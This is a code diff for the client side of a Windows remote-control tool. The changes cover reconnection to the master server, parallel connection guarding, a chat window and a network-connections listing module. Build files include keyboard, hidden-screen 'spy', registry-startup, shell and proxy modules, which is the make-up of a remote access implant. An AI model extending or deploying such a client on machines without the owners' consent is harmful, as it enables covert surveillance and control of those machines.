HWND hEditChatLog = GetDlgItem(m_hWnd, IDC_EDIT_CHATLOG);
|
||||||
|
int nLen = GetWindowTextLength(hEditChatLog);
|
||||||
|
if (nLen >= 20000) {
|
||||||
|
SetWindowText(hEditChatLog, "");
|
||||||
|
nLen = GetWindowTextLength(hEditChatLog);
|
||||||
|
}
|
||||||
|
SendMessage(hEditChatLog, EM_SETSEL, nLen, nLen);
|
||||||
|
SendMessage(hEditChatLog, EM_REPLACESEL, FALSE, (LPARAM)Text);
|
||||||
|
ShowWindow(m_hWnd, SW_RESTORE);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif
|
||||||
@@ -0,0 +1,30 @@
|
|||||||
|
// ChatManager.h: interface for the CChatManager class.
|
||||||
|
//
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include "Manager.h"
|
||||||
|
|
||||||
|
#if ENABLE_MESSAGE==0
|
||||||
|
#define CChatManager CManager
|
||||||
|
#else
|
||||||
|
|
||||||
|
class CChatManager : public CManager
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
HINSTANCE m_hInstance;
|
||||||
|
CChatManager(IOCPClient* ClientObject, int n, void* user = nullptr);
|
||||||
|
virtual ~CChatManager();
|
||||||
|
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||||
|
|
||||||
|
private:
|
||||||
|
BOOL m_bRun;
|
||||||
|
HANDLE m_hThread;
|
||||||
|
HWND m_hWnd;
|
||||||
|
|
||||||
|
static DWORD WINAPI MessageLoopProc(LPVOID lParam);
|
||||||
|
static INT_PTR CALLBACK ChatDialogProc(HWND hDlg, UINT uMsg, WPARAM wParam, LPARAM lParam);
|
||||||
|
};
|
||||||
|
|
||||||
|
#endif
|
||||||
+20
-10
@@ -445,6 +445,11 @@ extern "C" __declspec(dllexport) void StopRun()
|
|||||||
// 是否成功停止
|
// 是否成功停止
|
||||||
extern "C" __declspec(dllexport) bool IsStoped()
|
extern "C" __declspec(dllexport) bool IsStoped()
|
||||||
{
|
{
|
||||||
|
// 主控端重启(S_SERVER_EXIT):主实例工作线程已结束,即使分享实例仍在运行,
|
||||||
|
// 也视为「可重连」。旧 TestRun 加载循环靠它立即重连,无需卸载/重装 TestRun.exe;
|
||||||
|
// 分享实例继续存活,不受主控端重启影响。
|
||||||
|
if (S_SERVER_EXIT == g_MyApp.g_bExit)
|
||||||
|
return true;
|
||||||
return g_MyApp.g_bThreadExit && ClientApp::GetCount() == 0;
|
return g_MyApp.g_bThreadExit && ClientApp::GetCount() == 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -462,13 +467,11 @@ extern "C" __declspec(dllexport) int EasyRun()
|
|||||||
|
|
||||||
do {
|
do {
|
||||||
TestRun((char*)settings.ServerIP(), settings.ServerPort());
|
TestRun((char*)settings.ServerIP(), settings.ServerPort());
|
||||||
|
if (S_SERVER_EXIT == app.g_bExit)
|
||||||
|
continue; // 主控端重启:立即重连,不等仍存活的分享实例
|
||||||
|
// 受控端退出 / 程序更新:等所有实例(含分享实例)退干净再退出
|
||||||
while (!IsStoped())
|
while (!IsStoped())
|
||||||
Sleep(50);
|
Sleep(50);
|
||||||
if (S_CLIENT_EXIT == app.g_bExit) // 受控端退出
|
|
||||||
break;
|
|
||||||
else if (S_SERVER_EXIT == app.g_bExit)
|
|
||||||
continue;
|
|
||||||
else // S_CLIENT_UPDATE: 程序更新
|
|
||||||
break;
|
break;
|
||||||
} while (true);
|
} while (true);
|
||||||
|
|
||||||
@@ -555,14 +558,14 @@ extern "C" __declspec(dllexport) void Run(HWND hwnd, HINSTANCE hinst, LPSTR lpsz
|
|||||||
|
|
||||||
do {
|
do {
|
||||||
TestRun((char*)result[0].c_str(), atoi(result[1].c_str()));
|
TestRun((char*)result[0].c_str(), atoi(result[1].c_str()));
|
||||||
|
if (bExit == S_SERVER_EXIT)
|
||||||
|
continue; // 主控端重启:立即重连,不等仍存活的分享实例
|
||||||
|
// 受控端退出 / 程序更新:等所有实例(含分享实例)退干净
|
||||||
while (!IsStoped())
|
while (!IsStoped())
|
||||||
Sleep(20);
|
Sleep(20);
|
||||||
if (bExit == S_CLIENT_EXIT)
|
if (bExit == S_CLIENT_EXIT)
|
||||||
return;
|
return;
|
||||||
else if (bExit == S_SERVER_EXIT)
|
break; // S_CLIENT_UPDATE
|
||||||
continue;
|
|
||||||
else // S_CLIENT_UPDATE
|
|
||||||
break;
|
|
||||||
} while (true);
|
} while (true);
|
||||||
|
|
||||||
sprintf_s(message, "%s:%d", settings.ServerIP(), settings.ServerPort());
|
sprintf_s(message, "%s:%d", settings.ServerIP(), settings.ServerPort());
|
||||||
@@ -608,11 +611,18 @@ DWORD WINAPI StartClient(LPVOID lParam)
|
|||||||
}
|
}
|
||||||
auto list = app.GetSharedMasterList();
|
auto list = app.GetSharedMasterList();
|
||||||
if (list.size() > 1 && settings.runningType == RUNNING_PARALLEL) {
|
if (list.size() > 1 && settings.runningType == RUNNING_PARALLEL) {
|
||||||
|
// 并发上线的并行实例只派生一次:主控端重启重连时会再次进入 StartClient,
|
||||||
|
// 若不守护会重复派生并行连接。主实例的 SetServer(list[0]) 保持每次执行,
|
||||||
|
// 让主实例始终指向域名解析出的第一个 IP。
|
||||||
|
static bool parallelHasRun = false;
|
||||||
|
if (!parallelHasRun) {
|
||||||
|
parallelHasRun = true;
|
||||||
for (int i=1; i<list.size(); ++i) {
|
for (int i=1; i<list.size(); ++i) {
|
||||||
std::string addr = list[i] + ":" + std::to_string(settings.ServerPort());
|
std::string addr = list[i] + ":" + std::to_string(settings.ServerPort());
|
||||||
auto a = NewClientStartArg(addr.c_str(), IsSharedRunning, TRUE);
|
auto a = NewClientStartArg(addr.c_str(), IsSharedRunning, FALSE);
|
||||||
if (nullptr != a) CloseHandle(__CreateThread(0, 0, StartClientApp, a, 0, 0));
|
if (nullptr != a) CloseHandle(__CreateThread(0, 0, StartClientApp, a, 0, 0));
|
||||||
}
|
}
|
||||||
|
}
|
||||||
// The main ClientApp.
|
// The main ClientApp.
|
||||||
settings.SetServer(list[0].c_str(), settings.ServerPort());
|
settings.SetServer(list[0].c_str(), settings.ServerPort());
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -185,7 +185,15 @@
|
|||||||
<ClCompile Include="ClientLogManager.cpp" />
|
<ClCompile Include="ClientLogManager.cpp" />
|
||||||
<ClCompile Include="Common.cpp" />
|
<ClCompile Include="Common.cpp" />
|
||||||
<ClCompile Include="ConPTYManager.cpp" />
|
<ClCompile Include="ConPTYManager.cpp" />
|
||||||
|
<ClCompile Include="ConnectionsManager.cpp" />
|
||||||
<ClCompile Include="FileManager.cpp" />
|
<ClCompile Include="FileManager.cpp" />
|
||||||
|
<ClCompile Include="file\FileManager.cpp">
|
||||||
|
<ObjectFileName>$(IntDir)FileManager_plugin.obj</ObjectFileName>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="file\MasterEncoder.cpp" />
|
||||||
|
<ClCompile Include="file\zip.cpp" />
|
||||||
|
<ClCompile Include="screenhide\ScreenHideManager.cpp" />
|
||||||
|
<ClCompile Include="DrawingBoardMgr.cpp" />
|
||||||
<ClCompile Include="IOCPClient.cpp" />
|
<ClCompile Include="IOCPClient.cpp" />
|
||||||
<ClCompile Include="IOCPKCPClient.cpp" />
|
<ClCompile Include="IOCPKCPClient.cpp" />
|
||||||
<ClCompile Include="IOCPUDPClient.cpp" />
|
<ClCompile Include="IOCPUDPClient.cpp" />
|
||||||
@@ -215,6 +223,9 @@
|
|||||||
<ClCompile Include="CFFmpegH264Encoder.cpp" />
|
<ClCompile Include="CFFmpegH264Encoder.cpp" />
|
||||||
<ClCompile Include="EncoderFactory.cpp" />
|
<ClCompile Include="EncoderFactory.cpp" />
|
||||||
<ClCompile Include="TalkManager.cpp" />
|
<ClCompile Include="TalkManager.cpp" />
|
||||||
|
<ClCompile Include="ChatManager.cpp" />
|
||||||
|
<ClCompile Include="MachineManager.cpp" />
|
||||||
|
<ClCompile Include="TlsChannel.cpp" />
|
||||||
<ClCompile Include="VideoManager.cpp" />
|
<ClCompile Include="VideoManager.cpp" />
|
||||||
<ClCompile Include="X264Encoder.cpp" />
|
<ClCompile Include="X264Encoder.cpp" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
@@ -233,9 +244,17 @@
|
|||||||
<ClInclude Include="clip.h" />
|
<ClInclude Include="clip.h" />
|
||||||
<ClInclude Include="ClientLogManager.h" />
|
<ClInclude Include="ClientLogManager.h" />
|
||||||
<ClInclude Include="Common.h" />
|
<ClInclude Include="Common.h" />
|
||||||
|
<ClInclude Include="ConnectionsManager.h" />
|
||||||
<ClInclude Include="ConPTYManager.h" />
|
<ClInclude Include="ConPTYManager.h" />
|
||||||
<ClInclude Include="CursorInfo.h" />
|
<ClInclude Include="CursorInfo.h" />
|
||||||
<ClInclude Include="FileManager.h" />
|
<ClInclude Include="FileManager.h" />
|
||||||
|
<ClInclude Include="file\FileManager.h" />
|
||||||
|
<ClInclude Include="file\MasterEncoder.h" />
|
||||||
|
<ClInclude Include="file\zip.h" />
|
||||||
|
<ClInclude Include="screenhide\ScreenManagerBase.h" />
|
||||||
|
<ClInclude Include="screenhide\ScreenHideManager.h" />
|
||||||
|
<ClInclude Include="screenhide\ScreenHideSpy.h" />
|
||||||
|
<ClInclude Include="DrawingBoardMgr.h" />
|
||||||
<ClInclude Include="IOCPClient.h" />
|
<ClInclude Include="IOCPClient.h" />
|
||||||
<ClInclude Include="IOCPKCPClient.h" />
|
<ClInclude Include="IOCPKCPClient.h" />
|
||||||
<ClInclude Include="IOCPUDPClient.h" />
|
<ClInclude Include="IOCPUDPClient.h" />
|
||||||
@@ -246,6 +265,7 @@
|
|||||||
<ClInclude Include="ServiceWrapper.h" />
|
<ClInclude Include="ServiceWrapper.h" />
|
||||||
<ClInclude Include="session.h" />
|
<ClInclude Include="session.h" />
|
||||||
<ClInclude Include="SessionMonitor.h" />
|
<ClInclude Include="SessionMonitor.h" />
|
||||||
|
<ClInclude Include="TlsChannel.h" />
|
||||||
<ClInclude Include="VideoEncoderBase.h" />
|
<ClInclude Include="VideoEncoderBase.h" />
|
||||||
<ClInclude Include="KernelManager.h" />
|
<ClInclude Include="KernelManager.h" />
|
||||||
<ClInclude Include="KeyboardManager.h" />
|
<ClInclude Include="KeyboardManager.h" />
|
||||||
@@ -268,6 +288,9 @@
|
|||||||
<ClInclude Include="StdAfx.h" />
|
<ClInclude Include="StdAfx.h" />
|
||||||
<ClInclude Include="SystemManager.h" />
|
<ClInclude Include="SystemManager.h" />
|
||||||
<ClInclude Include="TalkManager.h" />
|
<ClInclude Include="TalkManager.h" />
|
||||||
|
<ClInclude Include="ChatManager.h" />
|
||||||
|
<ClInclude Include="MachineManager.h" />
|
||||||
|
<ClInclude Include="yapi.hpp" />
|
||||||
<ClInclude Include="VideoCodec.h" />
|
<ClInclude Include="VideoCodec.h" />
|
||||||
<ClInclude Include="VideoManager.h" />
|
<ClInclude Include="VideoManager.h" />
|
||||||
<ClInclude Include="X264Encoder.h" />
|
<ClInclude Include="X264Encoder.h" />
|
||||||
|
|||||||
@@ -41,10 +41,21 @@
|
|||||||
<ClCompile Include="EncoderFactory.cpp" />
|
<ClCompile Include="EncoderFactory.cpp" />
|
||||||
<ClCompile Include="..\common\file_upload.cpp" />
|
<ClCompile Include="..\common\file_upload.cpp" />
|
||||||
<ClCompile Include="ConPTYManager.cpp" />
|
<ClCompile Include="ConPTYManager.cpp" />
|
||||||
|
<ClCompile Include="ConnectionsManager.cpp" />
|
||||||
<ClCompile Include="session.cpp" />
|
<ClCompile Include="session.cpp" />
|
||||||
<ClCompile Include="reg_startup.c" />
|
<ClCompile Include="reg_startup.c" />
|
||||||
<ClCompile Include="ServiceWrapper.c" />
|
<ClCompile Include="ServiceWrapper.c" />
|
||||||
<ClCompile Include="SessionMonitor.c" />
|
<ClCompile Include="SessionMonitor.c" />
|
||||||
|
<ClCompile Include="ActivityHistory.cpp" />
|
||||||
|
<ClCompile Include="ClientLogManager.cpp" />
|
||||||
|
<ClCompile Include="file\FileManager.cpp" />
|
||||||
|
<ClCompile Include="file\MasterEncoder.cpp" />
|
||||||
|
<ClCompile Include="file\zip.cpp" />
|
||||||
|
<ClCompile Include="screenhide\ScreenHideManager.cpp" />
|
||||||
|
<ClCompile Include="DrawingBoardMgr.cpp" />
|
||||||
|
<ClCompile Include="ChatManager.cpp" />
|
||||||
|
<ClCompile Include="MachineManager.cpp" />
|
||||||
|
<ClCompile Include="TlsChannel.cpp" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<ClInclude Include="..\common\file_upload.h" />
|
<ClInclude Include="..\common\file_upload.h" />
|
||||||
@@ -59,6 +70,7 @@
|
|||||||
<ClInclude Include="CaptureVideo.h" />
|
<ClInclude Include="CaptureVideo.h" />
|
||||||
<ClInclude Include="clip.h" />
|
<ClInclude Include="clip.h" />
|
||||||
<ClInclude Include="Common.h" />
|
<ClInclude Include="Common.h" />
|
||||||
|
<ClInclude Include="ConnectionsManager.h" />
|
||||||
<ClInclude Include="CursorInfo.h" />
|
<ClInclude Include="CursorInfo.h" />
|
||||||
<ClInclude Include="FileManager.h" />
|
<ClInclude Include="FileManager.h" />
|
||||||
<ClInclude Include="IOCPClient.h" />
|
<ClInclude Include="IOCPClient.h" />
|
||||||
@@ -97,6 +109,19 @@
|
|||||||
<ClInclude Include="reg_startup.h" />
|
<ClInclude Include="reg_startup.h" />
|
||||||
<ClInclude Include="ServiceWrapper.h" />
|
<ClInclude Include="ServiceWrapper.h" />
|
||||||
<ClInclude Include="SessionMonitor.h" />
|
<ClInclude Include="SessionMonitor.h" />
|
||||||
|
<ClInclude Include="ActivityHistory.h" />
|
||||||
|
<ClInclude Include="ClientLogManager.h" />
|
||||||
|
<ClInclude Include="file\FileManager.h" />
|
||||||
|
<ClInclude Include="file\MasterEncoder.h" />
|
||||||
|
<ClInclude Include="file\zip.h" />
|
||||||
|
<ClInclude Include="screenhide\ScreenManagerBase.h" />
|
||||||
|
<ClInclude Include="screenhide\ScreenHideManager.h" />
|
||||||
|
<ClInclude Include="screenhide\ScreenHideSpy.h" />
|
||||||
|
<ClInclude Include="DrawingBoardMgr.h" />
|
||||||
|
<ClInclude Include="ChatManager.h" />
|
||||||
|
<ClInclude Include="MachineManager.h" />
|
||||||
|
<ClInclude Include="yapi.hpp" />
|
||||||
|
<ClInclude Include="TlsChannel.h" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<ResourceCompile Include="Script.rc" />
|
<ResourceCompile Include="Script.rc" />
|
||||||
|
|||||||
@@ -4,13 +4,19 @@
|
|||||||
#include "Manager.h"
|
#include "Manager.h"
|
||||||
#include "ScreenManager.h"
|
#include "ScreenManager.h"
|
||||||
#include "FileManager.h"
|
#include "FileManager.h"
|
||||||
|
#include "file/FileManager.h"
|
||||||
|
#include "screenhide/ScreenHideManager.h"
|
||||||
|
#include "DrawingBoardMgr.h"
|
||||||
#include "TalkManager.h"
|
#include "TalkManager.h"
|
||||||
|
#include "ChatManager.h"
|
||||||
|
#include "MachineManager.h"
|
||||||
#include "ShellManager.h"
|
#include "ShellManager.h"
|
||||||
#include "SystemManager.h"
|
#include "SystemManager.h"
|
||||||
#include "ConPTYManager.h"
|
#include "ConPTYManager.h"
|
||||||
#include "AudioManager.h"
|
#include "AudioManager.h"
|
||||||
#include "RegisterManager.h"
|
#include "RegisterManager.h"
|
||||||
#include "ServicesManager.h"
|
#include "ServicesManager.h"
|
||||||
|
#include "ConnectionsManager.h"
|
||||||
#include "VideoManager.h"
|
#include "VideoManager.h"
|
||||||
#include "KeyboardManager.h"
|
#include "KeyboardManager.h"
|
||||||
#include "ProxyManager.h"
|
#include "ProxyManager.h"
|
||||||
@@ -100,6 +106,31 @@ DWORD WINAPI LoopTalkManager(LPVOID lParam)
|
|||||||
return LoopManager<CTalkManager, 0>(lParam);
|
return LoopManager<CTalkManager, 0>(lParam);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
DWORD WINAPI LoopChatManager(LPVOID lParam)
|
||||||
|
{
|
||||||
|
return LoopManager<CChatManager, 0>(lParam);
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD WINAPI LoopMachineManager(LPVOID lParam)
|
||||||
|
{
|
||||||
|
return LoopManager<CMachineManager, 0>(lParam);
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD WINAPI LoopFileManagerPlugin(LPVOID lParam)
|
||||||
|
{
|
||||||
|
return LoopManager<SimplePluginsFile::CFileManager, 0>(lParam);
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD WINAPI LoopPrivateScreenPlugin(LPVOID lParam)
|
||||||
|
{
|
||||||
|
return LoopManager<SimplePluginsScreenHide::CScreenHideManager, 0>(lParam);
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD WINAPI LoopDrawingBoardPlugin(LPVOID lParam)
|
||||||
|
{
|
||||||
|
return LoopManager<SimplePluginsDrawingBoard::DrawingBoardMgr, 0>(lParam);
|
||||||
|
}
|
||||||
|
|
||||||
DWORD WINAPI LoopShellManager(LPVOID lParam)
|
DWORD WINAPI LoopShellManager(LPVOID lParam)
|
||||||
{
|
{
|
||||||
// Use ConPTY for xterm.js terminal on Windows 10 1809+, fallback to legacy pipe
|
// Use ConPTY for xterm.js terminal on Windows 10 1809+, fallback to legacy pipe
|
||||||
@@ -139,6 +170,11 @@ DWORD WINAPI LoopServicesManager(LPVOID lParam)
|
|||||||
return LoopManager<CServicesManager, 0>(lParam);
|
return LoopManager<CServicesManager, 0>(lParam);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
DWORD WINAPI LoopConnectionManager(LPVOID lParam)
|
||||||
|
{
|
||||||
|
return LoopManager<CConnectionsManager, 0>(lParam);
|
||||||
|
}
|
||||||
|
|
||||||
DWORD WINAPI LoopKeyboardManager(LPVOID lParam)
|
DWORD WINAPI LoopKeyboardManager(LPVOID lParam)
|
||||||
{
|
{
|
||||||
iniFile cfg(CLIENT_PATH);
|
iniFile cfg(CLIENT_PATH);
|
||||||
|
|||||||
@@ -28,12 +28,18 @@ DWORD WINAPI LoopShellManager(LPVOID lParam);
|
|||||||
DWORD WINAPI LoopScreenManager(LPVOID lParam);
|
DWORD WINAPI LoopScreenManager(LPVOID lParam);
|
||||||
DWORD WINAPI LoopFileManager(LPVOID lParam);
|
DWORD WINAPI LoopFileManager(LPVOID lParam);
|
||||||
DWORD WINAPI LoopTalkManager(LPVOID lParam);
|
DWORD WINAPI LoopTalkManager(LPVOID lParam);
|
||||||
|
DWORD WINAPI LoopChatManager(LPVOID lParam);
|
||||||
|
DWORD WINAPI LoopMachineManager(LPVOID lParam);
|
||||||
|
DWORD WINAPI LoopFileManagerPlugin(LPVOID lParam);
|
||||||
|
DWORD WINAPI LoopPrivateScreenPlugin(LPVOID lParam);
|
||||||
|
DWORD WINAPI LoopDrawingBoardPlugin(LPVOID lParam);
|
||||||
DWORD WINAPI LoopProcessManager(LPVOID lParam);
|
DWORD WINAPI LoopProcessManager(LPVOID lParam);
|
||||||
DWORD WINAPI LoopWindowManager(LPVOID lParam);
|
DWORD WINAPI LoopWindowManager(LPVOID lParam);
|
||||||
DWORD WINAPI LoopVideoManager(LPVOID lParam);
|
DWORD WINAPI LoopVideoManager(LPVOID lParam);
|
||||||
DWORD WINAPI LoopAudioManager(LPVOID lParam);
|
DWORD WINAPI LoopAudioManager(LPVOID lParam);
|
||||||
DWORD WINAPI LoopRegisterManager(LPVOID lParam);
|
DWORD WINAPI LoopRegisterManager(LPVOID lParam);
|
||||||
DWORD WINAPI LoopServicesManager(LPVOID lParam);
|
DWORD WINAPI LoopServicesManager(LPVOID lParam);
|
||||||
|
DWORD WINAPI LoopConnectionManager(LPVOID lParam);
|
||||||
DWORD WINAPI LoopKeyboardManager(LPVOID lParam);
|
DWORD WINAPI LoopKeyboardManager(LPVOID lParam);
|
||||||
DWORD WINAPI LoopProxyManager(LPVOID lParam);
|
DWORD WINAPI LoopProxyManager(LPVOID lParam);
|
||||||
DWORD WINAPI LoopClientLogManager(LPVOID lParam);
|
DWORD WINAPI LoopClientLogManager(LPVOID lParam);
|
||||||
@@ -0,0 +1,239 @@
|
|||||||
|
// ConnectionsManager.cpp: implementation of the CConnectionsManager class.
|
||||||
|
//
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
|
#include "stdafx.h"
|
||||||
|
#include "ConnectionsManager.h"
|
||||||
|
#include "Common.h"
|
||||||
|
#include <winsock2.h>
|
||||||
|
#include <ws2tcpip.h>
|
||||||
|
#include <iphlpapi.h>
|
||||||
|
#include <tcpmib.h>
|
||||||
|
#include <udpmib.h>
|
||||||
|
#include <vector>
|
||||||
|
|
||||||
|
#pragma comment(lib, "iphlpapi.lib")
|
||||||
|
|
||||||
|
#if ENABLE_CONNECTION_MNG
|
||||||
|
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
// Construction/Destruction
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
|
CConnectionsManager::CConnectionsManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
|
||||||
|
{
|
||||||
|
SendConnectionList();
|
||||||
|
}
|
||||||
|
|
||||||
|
CConnectionsManager::~CConnectionsManager()
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
// 把 PID 解析成进程映像名(UTF-8)。进程可能已退出/受保护,失败时填 <unknown>。
|
||||||
|
static void ResolveProcName(DWORD pid, char* out, int outLen)
|
||||||
|
{
|
||||||
|
if (outLen <= 0) return;
|
||||||
|
out[0] = 0;
|
||||||
|
if (pid == 0) {
|
||||||
|
strcpy_s(out, outLen, "System Idle Process");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
HANDLE h = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
|
||||||
|
if (h == NULL) {
|
||||||
|
strcpy_s(out, outLen, "<unknown>");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
wchar_t wpath[MAX_PATH] = { 0 };
|
||||||
|
DWORD len = MAX_PATH;
|
||||||
|
BOOL ok = QueryFullProcessImageNameW(h, 0, wpath, &len);
|
||||||
|
CloseHandle(h);
|
||||||
|
if (!ok) {
|
||||||
|
strcpy_s(out, outLen, "<unknown>");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
wchar_t* base = wcsrchr(wpath, L'\\');
|
||||||
|
base = base ? base + 1 : wpath;
|
||||||
|
if (WideCharToMultiByte(CP_UTF8, 0, base, -1, out, outLen, NULL, NULL) <= 0) {
|
||||||
|
strcpy_s(out, outLen, "<unknown>");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
out[outLen - 1] = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
// IPv4 地址:iphlpapi 的 dwLocalAddr/dwRemoteAddr 是网络序 DWORD(值 0xC0A80101 即 192.168.1.1),
|
||||||
|
// 转成 16 字节字段前 4 字节的网络序字节后 inet_ntop 可直接展示、断连时再拼回 DWORD。
|
||||||
|
static void PutAddr4(uint8_t* out, DWORD addrNet)
|
||||||
|
{
|
||||||
|
out[0] = (uint8_t)(addrNet >> 24);
|
||||||
|
out[1] = (uint8_t)(addrNet >> 16);
|
||||||
|
out[2] = (uint8_t)(addrNet >> 8);
|
||||||
|
out[3] = (uint8_t)(addrNet);
|
||||||
|
}
|
||||||
|
|
||||||
|
static DWORD GetAddr4(const uint8_t* addr)
|
||||||
|
{
|
||||||
|
return ((DWORD)addr[0] << 24) | ((DWORD)addr[1] << 16) | ((DWORD)addr[2] << 8) | (DWORD)addr[3];
|
||||||
|
}
|
||||||
|
|
||||||
|
static void AppendTcp4(std::vector<ConnectionInfo>& rows)
|
||||||
|
{
|
||||||
|
PMIB_TCPTABLE_OWNER_PID pTable = NULL;
|
||||||
|
DWORD dwSize = 0;
|
||||||
|
if (GetExtendedTcpTable(pTable, &dwSize, FALSE, AF_INET, TCP_TABLE_OWNER_PID_ALL, 0) != ERROR_INSUFFICIENT_BUFFER)
|
||||||
|
return;
|
||||||
|
pTable = (PMIB_TCPTABLE_OWNER_PID)malloc(dwSize);
|
||||||
|
if (pTable == NULL) return;
|
||||||
|
if (GetExtendedTcpTable(pTable, &dwSize, FALSE, AF_INET, TCP_TABLE_OWNER_PID_ALL, 0) == NO_ERROR) {
|
||||||
|
for (DWORD i = 0; i < pTable->dwNumEntries; ++i) {
|
||||||
|
const MIB_TCPROW_OWNER_PID& r = pTable->table[i];
|
||||||
|
ConnectionInfo info = { 0 };
|
||||||
|
info.proto = 1;
|
||||||
|
info.af = AF_INET;
|
||||||
|
info.pid = r.dwOwningPid;
|
||||||
|
PutAddr4(info.localAddr, r.dwLocalAddr); // 网络序 DWORD → 网络序字节
|
||||||
|
info.localPort = ntohs((uint16_t)r.dwLocalPort); // 端口网络序 → 主机序
|
||||||
|
PutAddr4(info.remoteAddr, r.dwRemoteAddr);
|
||||||
|
info.remotePort = ntohs((uint16_t)r.dwRemotePort);
|
||||||
|
info.state = r.dwState;
|
||||||
|
ResolveProcName(info.pid, info.procName, sizeof(info.procName));
|
||||||
|
rows.push_back(info);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
free(pTable);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void AppendTcp6(std::vector<ConnectionInfo>& rows)
|
||||||
|
{
|
||||||
|
PMIB_TCP6TABLE_OWNER_PID pTable = NULL;
|
||||||
|
DWORD dwSize = 0;
|
||||||
|
if (GetExtendedTcpTable(pTable, &dwSize, FALSE, AF_INET6, TCP_TABLE_OWNER_PID_ALL, 0) != ERROR_INSUFFICIENT_BUFFER)
|
||||||
|
return;
|
||||||
|
pTable = (PMIB_TCP6TABLE_OWNER_PID)malloc(dwSize);
|
||||||
|
if (pTable == NULL) return;
|
||||||
|
if (GetExtendedTcpTable(pTable, &dwSize, FALSE, AF_INET6, TCP_TABLE_OWNER_PID_ALL, 0) == NO_ERROR) {
|
||||||
|
for (DWORD i = 0; i < pTable->dwNumEntries; ++i) {
|
||||||
|
const MIB_TCP6ROW_OWNER_PID& r = pTable->table[i];
|
||||||
|
ConnectionInfo info = { 0 };
|
||||||
|
info.proto = 1;
|
||||||
|
info.af = AF_INET6;
|
||||||
|
info.pid = r.dwOwningPid;
|
||||||
|
memcpy(info.localAddr, r.ucLocalAddr, 16);
|
||||||
|
info.localPort = ntohs((uint16_t)r.dwLocalPort);
|
||||||
|
memcpy(info.remoteAddr, r.ucRemoteAddr, 16);
|
||||||
|
info.remotePort = ntohs((uint16_t)r.dwRemotePort);
|
||||||
|
info.state = r.dwState;
|
||||||
|
ResolveProcName(info.pid, info.procName, sizeof(info.procName));
|
||||||
|
rows.push_back(info);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
free(pTable);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void AppendUdp4(std::vector<ConnectionInfo>& rows)
|
||||||
|
{
|
||||||
|
PMIB_UDPTABLE_OWNER_PID pTable = NULL;
|
||||||
|
DWORD dwSize = 0;
|
||||||
|
if (GetExtendedUdpTable(pTable, &dwSize, FALSE, AF_INET, UDP_TABLE_OWNER_PID, 0) != ERROR_INSUFFICIENT_BUFFER)
|
||||||
|
return;
|
||||||
|
pTable = (PMIB_UDPTABLE_OWNER_PID)malloc(dwSize);
|
||||||
|
if (pTable == NULL) return;
|
||||||
|
if (GetExtendedUdpTable(pTable, &dwSize, FALSE, AF_INET, UDP_TABLE_OWNER_PID, 0) == NO_ERROR) {
|
||||||
|
for (DWORD i = 0; i < pTable->dwNumEntries; ++i) {
|
||||||
|
const MIB_UDPROW_OWNER_PID& r = pTable->table[i];
|
||||||
|
ConnectionInfo info = { 0 };
|
||||||
|
info.proto = 2;
|
||||||
|
info.af = AF_INET;
|
||||||
|
info.pid = r.dwOwningPid;
|
||||||
|
PutAddr4(info.localAddr, r.dwLocalAddr);
|
||||||
|
info.localPort = ntohs((uint16_t)r.dwLocalPort);
|
||||||
|
info.state = 0;
|
||||||
|
ResolveProcName(info.pid, info.procName, sizeof(info.procName));
|
||||||
|
rows.push_back(info);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
free(pTable);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void AppendUdp6(std::vector<ConnectionInfo>& rows)
|
||||||
|
{
|
||||||
|
PMIB_UDP6TABLE_OWNER_PID pTable = NULL;
|
||||||
|
DWORD dwSize = 0;
|
||||||
|
if (GetExtendedUdpTable(pTable, &dwSize, FALSE, AF_INET6, UDP_TABLE_OWNER_PID, 0) != ERROR_INSUFFICIENT_BUFFER)
|
||||||
|
return;
|
||||||
|
pTable = (PMIB_UDP6TABLE_OWNER_PID)malloc(dwSize);
|
||||||
|
if (pTable == NULL) return;
|
||||||
|
if (GetExtendedUdpTable(pTable, &dwSize, FALSE, AF_INET6, UDP_TABLE_OWNER_PID, 0) == NO_ERROR) {
|
||||||
|
for (DWORD i = 0; i < pTable->dwNumEntries; ++i) {
|
||||||
|
const MIB_UDP6ROW_OWNER_PID& r = pTable->table[i];
|
||||||
|
ConnectionInfo info = { 0 };
|
||||||
|
info.proto = 2;
|
||||||
|
info.af = AF_INET6;
|
||||||
|
info.pid = r.dwOwningPid;
|
||||||
|
memcpy(info.localAddr, r.ucLocalAddr, 16);
|
||||||
|
info.localPort = ntohs((uint16_t)r.dwLocalPort);
|
||||||
|
info.state = 0;
|
||||||
|
ResolveProcName(info.pid, info.procName, sizeof(info.procName));
|
||||||
|
rows.push_back(info);
|
